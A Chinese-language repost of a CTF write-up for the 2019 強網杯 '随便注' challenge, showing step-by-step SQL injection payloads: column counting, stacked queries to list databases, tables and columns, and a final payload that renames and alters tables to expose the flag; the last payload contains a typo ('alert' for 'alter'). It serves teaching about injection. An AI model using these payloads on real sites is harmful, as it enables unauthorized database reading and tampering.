首页
/
每日頭條
/
生活
/
sql注入漏洞原理與利用
sql注入漏洞原理與利用
更新时间:2026-06-08 19:46:52
[強網杯 2019] 随便注

每天學習網絡安全知識,本文記錄強網杯的一個SQL注入題。

sql注入漏洞原理與利用(黑客必會之SQL注入學習)1

使用單引号測試,發現頁面報錯,說明此處存在SQL注入漏洞。

sql注入漏洞原理與利用(黑客必會之SQL注入學習)2

1' 1''

sql注入漏洞原理與利用(黑客必會之SQL注入學習)3

既然此處存在漏洞,那麼我們就走正常流程測試下,如果不知道SQL注入正常流程的可以去看下我的sqllibs注入教程。

1.猜字段數

1' order by 3# 1' order by 2#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)4

sql注入漏洞原理與利用(黑客必會之SQL注入學習)5

使用第一個payload測試的時候發現頁面報錯,再使用第二個payload時發現頁面顯示正常,因此我們可以得知當前數據庫當前表存在2個字段。這時候嘗試union select進行聯合查詢。

2.使用聯合查詢

sql注入漏洞原理與利用(黑客必會之SQL注入學習)6

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

發現頁面提示過濾了許多關鍵的命令,看來需要一些騷操作了。

3.嘗試堆疊注入

1';show databases#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)7

發現成功爆出所有數據庫。使用show tables;試試看看能不能得到表名

-1';show tables#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)8

成功爆出當前數據庫的兩個表名;嘗試查詢表中的字段

0';show columns from `1919810931114514`;#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)9

發現有一個flag字段,接下來就是嘗試讀取flag。

4. 再查看words表的結構

0';desc words;#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)10

可以猜測我們提交查詢的窗口就是在這個表裡查詢數據的。

5. 那麼查詢語句很有可能是 : selsect id,data from words where id =

然後1919810931114514隻有一個flag字段這時候雖然有強大的正則過濾,但沒有過濾alert和rename關鍵字這時候我們就可以已下面的騷姿勢進行注入:1.将words表改名為word1或其它任意名字2.1919810931114514改名為words3.将新的word表插入一列,列名為id4.将flag列改名為data

1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` varchar(100);#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)11

成功拿到flag。

,
Comments
Welcome to tft每日頭條 comments! Please keep conversations courteous and on-topic. To fosterproductive and respectful conversations, you may see comments from our Community Managers.
Sign up to post
Sort by
Show More Comments
推荐阅读
巨大的熱氣球怎麼畫
巨大的熱氣球怎麼畫
熱氣球承載着人類飛上天空的夢想,當它出現在裝飾畫中時,也為我們平淡的家居生活增添了一抹靈動氣息。而它那絢麗多姿的百變畫風,透露出獨一無二的态度,讓空白的牆壁加分不少!裝飾畫是現代家居生活中極具裝飾性和藝術感的家居用品,畫風多變的它一直帶給我...
2026-06-08
穿越火線中的王者之心饋贈數量
穿越火線中的王者之心饋贈數量
近期穿越火線這款遊戲上線了要一個新款的王者之心的禮包,這個禮包盒算得上遊戲内最貴的一個了,但是其獎勵是非常的豐厚的,這也吸引了大批的玩家們想要去抽取到,但是也有些玩家對此抱着觀望的态度,大概是想知道要将這個東西獲取到需要氪多少金,對于這個問...
2026-06-08
黃豆醬豬蹄怎麼做
黃豆醬豬蹄怎麼做
黃豆醬豬蹄怎麼做?食材:黃豆10克,花生11克,八角3克,豬蹄400克,生抽12克,料酒14克,鹽4克,冰糖5克,今天小編就來說說關于黃豆醬豬蹄怎麼做?下面更多詳細答案一起來看看吧!黃豆醬豬蹄怎麼做食材:黃豆10克,花生11克,八角3克,豬...
2026-06-08
血月什麼時候再次出現
血月什麼時候再次出現
來了,來了,期待已久的“血月”就要來了,11月19日隆重登場,這是2021年的第2次“血月”,現在已經進入倒計時狀态,想不想看?想看的朋友一定要定好鬧鈴哦,天象可不等人哦,以免錯過,這次錯過了,可能又要再等一年了。2021年的第1次“血月”...
2026-06-08
關于加快石墨烯産業創新發展的若幹意見
關于加快石墨烯産業創新發展的若幹意見
關于加快石墨烯産業創新發展的若幹意見?■本報記者任小雨昨日,石墨烯概念闆塊抗跌性較強,闆塊内華麗家族、力合股份、樂通股份、新華錦等個股當日實現逆市上漲,分别達到4.66%、2.37%、0.61%、0.23%,我來為大家科普一下關于關于加快石...
2026-06-08
Copyright 2023-2026 - www.tftnews.com All Rights Reserved